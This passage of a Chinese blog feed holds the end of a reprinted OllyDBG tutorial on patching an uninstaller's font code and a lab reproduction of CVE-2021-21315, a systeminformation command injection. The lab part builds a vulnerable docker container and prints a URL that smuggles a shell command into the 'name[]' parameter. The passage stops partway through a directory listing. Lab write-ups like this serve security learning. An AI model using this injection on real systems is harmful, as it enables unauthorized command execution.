class="line">3</span><br></pre></td><td class="code"><pre><span class="line">00408F5E |. FF15 98B24000 |CALL DWORD PTR DS:[<&USER32.CreateWindowExA>] ; \CreateWindowExA</span><br><span class="line">00408F64 E9 D5140000 JMP myuninst.0040A43E ; 跳转到我们的补丁代码处</span><br><span class="line">00408F69 |. E8 A098FFFF |CALL <myuninst.sub_40280E></span><br></pre></td></tr></table></figure><p>第二个要改的地方: </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">00408F91 |. FF15 98B24000 |CALL DWORD PTR DS:[<&USER32.CreateWindowExA>] ; \CreateWindowExA</span><br><span class="line">00408F97 8945 F0 MOV DWORD PTR SS:[EBP-10],EAX ; 改这里</span><br><span class="line">00408F9A 8B45 F8 MOV EAX,DWORD PTR SS:[EBP-8]</span><br><span class="line">00408F9D |. FF30 |PUSH DWORD PTR DS:[EAX] ; /<%s></span><br><span class="line">00408F9F |. 8D85 B0FEFFFF |LEA EAX,DWORD PTR SS:[EBP-150] ; |</span><br><span class="line">00408FA5 |. 68 D0D94000 |PUSH myuninst.0040D9D0 ; |format = "%s:"</span><br><span class="line">00408FAA |. 50 |PUSH EAX ; |s</span><br><span class="line">00408FAB |. FF15 90B14000 |CALL DWORD PTR DS:[<&MSVCRT.sprintf>] ; \sprintf</span><br><span class="line">00408FB1 |. 8B35 84B24000 |MOV ESI,DWORD PTR DS:[<&USER32.SetWindowTextA>] ; USER32.SetWindowTextA</span><br></pre></td></tr></table></figure><p>修改后: </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">00408F91 |. FF15 98B24000 |CALL DWORD PTR DS:[<&USER32.CreateWindowExA>] ; \CreateWindowExA</span><br><span class="line">00408F97 E9 D4140000 JMP myuninst.0040A470 ; 跳到我们的第二部分补丁代码处</span><br><span class="line">00408F9C 90 NOP</span><br><span class="line">00408F9D |. FF30 |PUSH DWORD PTR DS:[EAX] ; /<%s></span><br><span class="line">00408F9F |. 8D85 B0FEFFFF |LEA EAX,DWORD PTR SS:[EBP-150] ; |</span><br><span class="line">00408FA5 |. 68 D0D94000 |PUSH myuninst.0040D9D0 ; |format = "%s:"</span><br><span class="line">00408FAA |. 50 |PUSH EAX ; |s</span><br><span class="line">00408FAB |. FF15 90B14000 |CALL DWORD PTR DS:[<&MSVCRT.sprintf>] ; \sprintf</span><br><span class="line">00408FB1 |. 8B35 84B24000 |MOV ESI,DWORD PTR DS:[<&USER32.SetWindowTextA>] ; USER32.SetWindowTextA</span><br></pre></td></tr></table></figure><p>这两个地方的修改都是把原代码改成跳转,跳到我们的补丁代码那继续执行。在修改之前先把原代码复制下来,以便恢复。我们在 OllyDBG 中按 CTR+G 组合键,来到 0040A43E 地址处,开始输补丁代码: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002193715185.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002193715185.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20221002193715185"></p><p>同样,我们也在 0040A470 地址处输入我们另一部分的补丁代码。两部分的补丁代码分别如下: </p><p>补丁代码 1: </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">0040A43E 60 PUSHAD ; 保护现场</span><br><span class="line">0040A43F A3 6EC54000 MOV DWORD PTR DS:[40C56E],EAX ; 保存窗口句柄</span><br><span class="line">0040A444 68 15A44000 PUSH myuninst.0040A415 ; 传递字体句柄 LOGFONT</span><br><span class="line">0040A449 FF15 44B04000 CALL DWORD PTR DS:[<&GDI32.CreateFontIndirectA>] ; GDI32.CreateFontIndirectA</span><br><span class="line">0040A44F 6A 00 PUSH 0 ; lParam 参数留空</span><br><span class="line">0040A451 50 PUSH EAX ; 字体句柄 LOGFONT</span><br><span class="line">0040A452 6A 30 PUSH 30 ; WM_SETFONT</span><br><span class="line">0040A454 8B0D 6EC54000 MOV ECX,DWORD PTR DS:[40C56E] ; 窗口句柄送 ECX0040A45A 51 PUSH ECX ; 压入窗口句柄参数</span><br><span class="line">0040A45B FF15 3CB24000 CALL DWORD PTR DS:[<&USER32.SendMessageA>] ; USER32.SendMessageA</span><br><span class="line">0040A461 61 POPAD ; 恢复现场</span><br><span class="line">0040A462 6A 00 PUSH 0 ; 恢复原代码</span><br><span class="line">0040A464 8945 F4 MOV DWORD PTR SS:[EBP-C],EAX</span><br><span class="line">0040A467 ^ E9 FDEAFFFF JMP myuninst.00408F69 ; 返回</span><br></pre></td></tr></table></figure><p>补丁代码 2: </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">0040A470 > \60 PUSHAD</span><br><span class="line">0040A471 . A3 6EC54000 MOV DWORD PTR DS:[40C56E],EAX</span><br><span class="line">0040A476 . 68 15A44000 PUSH myuninst.0040A415 ; /pLogfont = myuninst.0040A415</span><br><span class="line">0040A47B . FF15 44B04000 CALL DWORD PTR DS:[<&GDI32.CreateFontIndirectA>] ; \CreateFontIndirectA</span><br><span class="line">0040A481 . 6A 00 PUSH 0 ; /lParam = 0</span><br><span class="line">0040A483 . 50 PUSH EAX ; |wParam</span><br><span class="line">0040A484 . 6A 30 PUSH 30 ; |Message = WM_SETFONT</span><br><span class="line">0040A486 . 8B0D 6EC54000 MOV ECX,DWORD PTR DS:[40C56E] ; |</span><br><span class="line">0040A48C . 51 PUSH ECX ; |hWnd => NULL</span><br><span class="line">0040A48D . FF15 3CB24000 CALL DWORD PTR DS:[<&USER32.SendMessageA>] ; \SendMessageA</span><br><span class="line">0040A493 . 61 POPAD</span><br><span class="line">0040A494 . 8945 F0 MOV DWORD PTR SS:[EBP-10],EAX</span><br><span class="line">0040A497 . 8B45 F8 MOV EAX,DWORD PTR SS:[EBP-8]</span><br><span class="line">0040A49A .^ E9 FEEAFFFF JMP myuninst.00408F9D</span><br></pre></td></tr></table></figure><p>补丁代码 2 因为与补丁代码 1 类似,我就不做详细解释了。现在我们的代码都写完了,现在我们开始保存我们的工作,<strong>选中我们修改的代码,点击鼠标右键</strong>,会出来一个菜单: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002195314425.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002195314425.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20221002195314425"></p><p>我们<strong>左键选所有修改</strong> <em>(当然选它了,要不然只会保存我们选定的这一部分。关于这个地方还要说一下,有的时候我们修改完程序选“复制到可执行文件”时只有“选择”菜单,没有“所有修改”菜单项。按 OllyDBG 帮助里关于备份功能的说法,好像是受内存块限制的,补丁功能也同样是这样。对于备份及补丁功能我用的比较少,并不是很了解,这方面的内容还是大家自己去研究吧,有什么好的心得也希望能共享一下。我遇到不能保存所有修改的情况就是先把补丁代码全部复制下来,同时利用二进制功能复制代码,先选一段补丁代码保存为文件,再用 OllyDBG 打开保存后的文件,转到相应位置分别把我们复制下来的补丁二进制代码粘贴上去后保存。纯属笨办法,当然你也可以用 HexView 这样的工具来修改代码)</em>,随后会出来一个“把选中的内容复制到可执行文件”的对话框,我们选“全部复制”,又出来一个对话框,我们在上面点右键,在弹出的菜单上选“保存文件”: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002200108765.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002200108765.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20221002200108765"></p><p>这时会出来一个另存文件的对话框,<strong>我们另选一个名字如 myuninst1.exe 来保存,不要直接覆盖原文件 myuninst.exe</strong>,以便于出错后好修改。现在关闭 OllyDBG,先不要急着运行刚刚修改过的文件,因为我们还有个地方要改一下。大家还记得我们在 .rdata 中用了个地方作为我们保存临时变量的地方吧?原先的 .rdata 段属性设置是不可写的,现在我们写入了数据,运行时是会出错的。现在我们要修改一下 .rdata 段的属性。用 LordPE 的 PE 编辑器打开我们修改后的程序,点“区段”按钮,在弹出的对话框中点击 .rdata 段,右键选择弹出菜单中的“编辑区段”: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002200141381.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002200141381.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20221002200141381"></p><p>在弹出的对话框中选标志后面那个“…”按钮: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002200240062.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002200240062.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20221002200240062"></p><p>现在我们把区段标志添加一个可写入的属性: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002200250600.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002200250600.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20221002200250600"></p><p>完成后按确定保存我们所做的工作,运行一下修改后的程序,呵呵,终于把字体改过来了: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002200300852.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002200300852.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20221002200300852"></p><p>如果你运行出错也没关系,用 OllyDBG 调试一下你修改后的程序,看看错在什么地方。这一般都是输入补丁代码时造成的,你只要看一下你补丁代码运行的情况就可以了。到这里我们的任务似乎也完成了,但细心的朋友可能会发现补丁代码 1 和补丁代码 2 前面的代码基本上是相同的。一个两个这样的补丁还好,如果要是多的话,这样重复就要浪费不少空间了,况且工作量也相应加大了。<strong>既然前面有很多代码都是重复的,为什么我们不把这些重复的代码做成一个子程序呢?</strong>这样调用起来要方便的多。下面我们把前面的补丁代码修改一下,我们先把补丁代码 1 的代码改成这样(重复部分代码): </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">0040A43E 60 PUSHAD ; 保护现场</span><br><span class="line">0040A43F A3 6EC54000 MOV DWORD PTR DS:[40C56E],EAX ; 保存窗口句柄</span><br><span class="line">0040A444 68 15A44000 PUSH myuninst.0040A415 ; 我们建的 LOGFONT 对应指针</span><br><span class="line">0040A449 FF15 44B04000 CALL DWORD PTR DS:[<&GDI32.CreateFontIndirectA>] ; GDI32.CreateFontIndirectA</span><br><span class="line">0040A44F 6A 00 PUSH 0 ; lParam 参数留空</span><br><span class="line">0040A451 50 PUSH EAX ; 字体句柄</span><br><span class="line">0040A452 6A 30 PUSH 30 ; WM_SETFONT</span><br><span class="line">0040A454 8B0D 6EC54000 MOV ECX,DWORD PTR DS:[40C56E] ; 窗口句柄</span><br><span class="line">0040A45A 51 PUSH ECX ; 窗口句柄压栈</span><br><span class="line">0040A45B FF15 3CB24000 CALL DWORD PTR DS:[<&USER32.SendMessageA>] ; USER32.SendMessageA</span><br><span class="line">0040A461 61 POPAD ; 恢复现场</span><br><span class="line">0040A462 C3 RETN ; 返回 </span><br></pre></td></tr></table></figure><p>这样我们的子程序代码就写好了。现在我们再在子程序代码后面写上两个补丁代码,当然不要忘了改前面原程序中的跳转: </p><p>修改后的补丁代码 1: </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">0040A467 E8 D2FFFFFF CALL myuninst.0040A43E ; 调用子程序</span><br><span class="line">0040A46C 6A 00 PUSH 0 ; 恢复前面修改过的代码</span><br><span class="line">0040A46E 8945 F4 MOV DWORD PTR SS:[EBP-C],EAX0040A471 ^ E9 F3EAFFFF JMP myuninst.00408F69 ; 返回继续执行</span><br></pre></td></tr></table></figure><p>修改后的补丁代码 2:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">0040A47A E8 BFFFFFFF CALL myuninst.0040A43E</span><br><span class="line">0040A47F 8945 F0 MOV DWORD PTR SS:[EBP-10],EAX</span><br><span class="line">0040A482 8B45 F8 MOV EAX,DWORD PTR SS:[EBP-8]</span><br><span class="line">0040A485 ^ E9 13EBFFFF JMP myuninst.00408F9D</span><br></pre></td></tr></table></figure><p>我在每个补丁代码片断间留了 4 个字节来分隔。同样,我们还要修改一下我们前面的跳转:<br>第一个要修改跳转的地方: </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">00408F5E |. FF15 98B24000 |CALL DWORD PTR DS:[<&USER32.CreateWindowExA>] ; \断在这里</span><br><span class="line">00408F64 E9 FE140000 JMP myuninst.0040A467 ; 跳到我们的第一部分补丁代码处</span><br><span class="line">00408F69 |. E8 A098FFFF |CALL <myuninst.sub_40280E></span><br></pre></td></tr></table></figure><p>第二个要修改跳转的地方:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">00408F91 |. FF15 98B24000 |CALL DWORD PTR DS:[<&USER32.CreateWindowExA>] ; \CreateWindowExA</span><br><span class="line">00408F97 E9 DE140000 JMP myuninst.0040A47A ; 跳到我们的第二部分补丁代码处</span><br><span class="line">00408F9C 90 NOP</span><br><span class="line">00408F9D |. FF30 |PUSH DWORD PTR DS:[EAX] ; /<%s> </span><br></pre></td></tr></table></figure><p>修改好后保存,同样不要忘了再修改一下 .rdata 区段的属性。运行一下,一切 OK! </p><blockquote><p>文章:OllyDBG 完美教程(超强入门级) </p><p>作者:CCDebuger </p><p>来源:看雪</p><p>入门逆向抄过来自己看</p></blockquote>]]></content>
<summary type="html"><h1 id="OllyDBG-完美教程-超强入门级"><a href="#OllyDBG-完美教程-超强入门级" class="headerlink" title="OllyDBG 完美教程(超强入门级)"></a><strong>OllyDBG</strong> <stron</summary>
<category term="OllyDBG" scheme="http://example.com/tags/OllyDBG/"/>
<category term="破解入门" scheme="http://example.com/tags/%E7%A0%B4%E8%A7%A3%E5%85%A5%E9%97%A8/"/>
<category term="调试专用工具" scheme="http://example.com/tags/%E8%B0%83%E8%AF%95%E4%B8%93%E7%94%A8%E5%B7%A5%E5%85%B7/"/>
<category term="反汇编" scheme="http://example.com/tags/%E5%8F%8D%E6%B1%87%E7%BC%96/"/>
</entry>
<entry>
<title>CVE-2021-21315 NodeJs命令注入漏洞复现</title>
<link href="http://example.com/2022/07/24/CVE-2021-21315-NodeJs%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/"/>
<id>http://example.com/2022/07/24/CVE-2021-21315-NodeJs%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/</id>
<published>2022-07-24T13:05:29.000Z</published>
<updated>2022-07-24T13:06:07.664Z</updated>
<content type="html"><![CDATA[<h1 id="CVE-2021-21315-NodeJs命令注入漏洞复现"><a href="#CVE-2021-21315-NodeJs命令注入漏洞复现" class="headerlink" title="CVE-2021-21315 NodeJs命令注入漏洞复现"></a>CVE-2021-21315 NodeJs命令注入漏洞复现</h1><h2 id="0x00-简介"><a href="#0x00-简介" class="headerlink" title="0x00 简介"></a><strong>0x00 简介</strong></h2><p>Node.js是一个基于Chrome V8引擎的JavaScript运行环境,用于方便的搭建响应速度快、易于拓展的网络应用。Node使用Module模块划分不同的功能,每一个模块都包含非常丰富的函数,如http就包含了和http相关的很多函数,帮助开发者对http、tcp/udp等进行操作或创建相关服务器。</p><h2 id="0x01-漏洞概述"><a href="#0x01-漏洞概述" class="headerlink" title="0x01 漏洞概述"></a><strong>0x01 漏洞概述</strong></h2><p>Node.js-systeminformation是用于获取各种系统信息的Node.js模块,在存在命令注入漏洞的版本中,攻击者可以通过未过滤的参数中注入payload执行系统命令。</p><h2 id="0x02-影响版本"><a href="#0x02-影响版本" class="headerlink" title="0x02 影响版本"></a><strong>0x02 影响版本</strong></h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Systeminformation < 5.3.1</span><br></pre></td></tr></table></figure><h2 id="0x03-环境搭建"><a href="#0x03-环境搭建" class="headerlink" title="0x03 环境搭建"></a><strong>0x03 环境搭建</strong></h2><ul><li>使用docker pull 受影响的镜像下来</li></ul><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker pull node:12.18.4</span><br></pre></td></tr></table></figure><p><img src="/2022/07/24/CVE-2021-21315-NodeJs%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/uTools_1658561795302-16585664327563.png" class="lazyload placeholder" data-srcset="/2022/07/24/CVE-2021-21315-NodeJs%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/uTools_1658561795302-16585664327563.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658561795302"></p><ul><li>创建并打开容器</li></ul><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo docker run -it --name node121 28faf336034d /bin/bash</span><br></pre></td></tr></table></figure><ul><li>将PoC项目文件夹拷贝到目录下:</li></ul><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker cp /home/lyq/Desktop/shixi/vul3/CVE-2021-21315-PoC-master[PoC目录] 8b1a75b58079[容器名]:/node_proj</span><br></pre></td></tr></table></figure><p>PoC所在网址:<a href="https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC.git">https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC.git</a></p><p><img src="/2022/07/24/CVE-2021-21315-NodeJs%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/uTools_1658566143424.png" class="lazyload placeholder" data-srcset="/2022/07/24/CVE-2021-21315-NodeJs%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/uTools_1658566143424.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658566143424"></p><ul><li>在容器内,创建start.sh并设置权限</li></ul><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">vim start.sh</span><br><span class="line">chmod 777 start.sh</span><br></pre></td></tr></table></figure><p><img src="/2022/07/24/CVE-2021-21315-NodeJs%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/uTools_1658566222552.png" class="lazyload placeholder" data-srcset="/2022/07/24/CVE-2021-21315-NodeJs%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/uTools_1658566222552.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658566222552"></p><p>start.sh的内容:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#</span><span class="bash">!/bin/bash</span></span><br><span class="line">node /node_proj/index.js</span><br></pre></td></tr></table></figure><p>在project所在目录下touch一个flag.txt文件,文件内容:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">flag{node_vul_flag_sixxxx}</span><br></pre></td></tr></table></figure><p><img src="/2022/07/24/CVE-2021-21315-NodeJs%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/uTools_1658666718838.png" class="lazyload placeholder" data-srcset="/2022/07/24/CVE-2021-21315-NodeJs%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/uTools_1658666718838.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658666718838"></p><ul><li>将处理好的容器导出tar</li></ul><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker <span class="built_in">export</span> 8b1a75b58079 > node_inj_vul.tar</span><br></pre></td></tr></table></figure><p><img src="/2022/07/24/CVE-2021-21315-NodeJs%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/uTools_1658567160691.png" class="lazyload placeholder" data-srcset="/2022/07/24/CVE-2021-21315-NodeJs%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/uTools_1658567160691.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658567160691"></p><h2 id="0x04-漏洞利用:注入文件"><a href="#0x04-漏洞利用:注入文件" class="headerlink" title="0x04 漏洞利用:注入文件"></a><strong>0x04 漏洞利用:注入文件</strong></h2><p><strong><em>利用漏洞向服务器中注入test.txt文件</em></strong></p><hr><ul><li>将导出的tar导入为镜像</li></ul><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker import node_inj_vul.tar node_inj_vul_img</span><br></pre></td></tr></table></figure><p>此时我们可以轻松找到我们刚刚创建的镜像 <code>node_inj_vul_img</code></p><p><img src="/2022/07/24/CVE-2021-21315-NodeJs%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/uTools_1658605701264.png" class="lazyload placeholder" data-srcset="/2022/07/24/CVE-2021-21315-NodeJs%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/uTools_1658605701264.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658605701264"></p><ul><li>运行刚刚创建好的镜像,产生容器</li></ul><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker run -d -p 8001:8000 node_inj_vul_img /start.sh</span><br></pre></td></tr></table></figure><ul><li>查看当前运行中的容器,打开我们可以找到刚刚打开的容器</li></ul><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker ps</span><br></pre></td></tr></table></figure><p><img src="/2022/07/24/CVE-2021-21315-NodeJs%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/uTools_1658605318276.png" class="lazyload placeholder" data-srcset="/2022/07/24/CVE-2021-21315-NodeJs%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/uTools_1658605318276.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658605318276"></p><ul><li>打开浏览器,输入以下链接:</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://127.0.0.1:8001/api/getServices?name[]=$(echo 'hacking' > /node_proj/test.txt)</span><br></pre></td></tr></table></figure><p><img src="/2022/07/24/CVE-2021-21315-NodeJs%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/uTools_1658605156323.png" class="lazyload placeholder" data-srcset="/2022/07/24/CVE-2021-21315-NodeJs%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/uTools_1658605156323.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658605156323"></p><ul><li>进入容器中,可以看到我们的project路径下产生了test.txt文件,利用漏洞注入成功。</li></ul><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker exec -it 71b47706cbf9[容器ID] /bin/bash</span><br></pre></td></tr></table></figure><p><img src="/2022/07/24/CVE-2021-21315-NodeJs%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/uTools_1658605469144.png" class="lazyload placeholder" data-srcset="/2022/07/24/CVE-2021-21315-NodeJs%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/uTools_1658605469144.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658605469144"></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">root@71b47706cbf9:/node_proj# ls -l</span><br><span class="line">total 36</span><br><span class="line">-rw-rw-r-- 1 node node 3180 Jun 9 2021 README.md</span><br><span class="line">-rw-rw-r-- 1 node node 517 Jun 9 2021 index.js</span><br><span class="line">drwxrwxr-x 53 node node 4096 Jul 23 07:31 